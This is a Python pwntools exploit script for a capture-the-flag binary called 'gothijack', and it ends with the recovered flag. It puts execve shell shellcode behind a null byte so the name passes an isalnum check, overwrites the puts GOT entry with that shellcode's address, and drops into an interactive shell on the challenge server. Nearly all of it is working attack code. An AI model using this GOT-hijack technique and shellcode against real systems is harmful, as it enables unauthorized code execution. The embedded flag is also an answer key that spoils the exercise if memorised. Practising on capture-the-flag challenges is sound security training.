# -*- coding: UTF-8 -*-
#!/usr/bin/env python 

from pwn import *

LOCAL  = False
Debug  = True
SERVER = '172.16.113.50'
PORT   = 12041
Binary = 'gothijack'

if LOCAL:
    libc = ELF('../../libc-2.19.so')
else:
    libc = ELF('./libc.so.6')

      
def L(msg):
    if Debug:
        print msg

if not LOCAL:
    r = remote(SERVER, PORT)
else:
    r = process('./{}'.format(Binary))
    L(r.proc.pid)
    a = raw_input('Wait gdb attach...\n')


"""
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled        -> can use shellcode
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
"""


if __name__ == "__main__":

    # isalnum(username)      -> only number and alphabet
    # strlen(a1)             -> use \x00 than maybe we can pass isalnum  
    # name                   -> size = 0x30
    # strtoll(&where, 0, 16) -> 16base 
   
   
    
    sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    username = 0x6010a0
    puts_plt = 0x601020
        
    r.sendafter(':', 'hi\x00'+sc)           # name
    r.sendafter(':', '601020')         # where
    r.sendafter(':', p64(username + 3 ) )   # data
   
    r.interactive()
    
    # FLAG{G0THiJJack1NG}
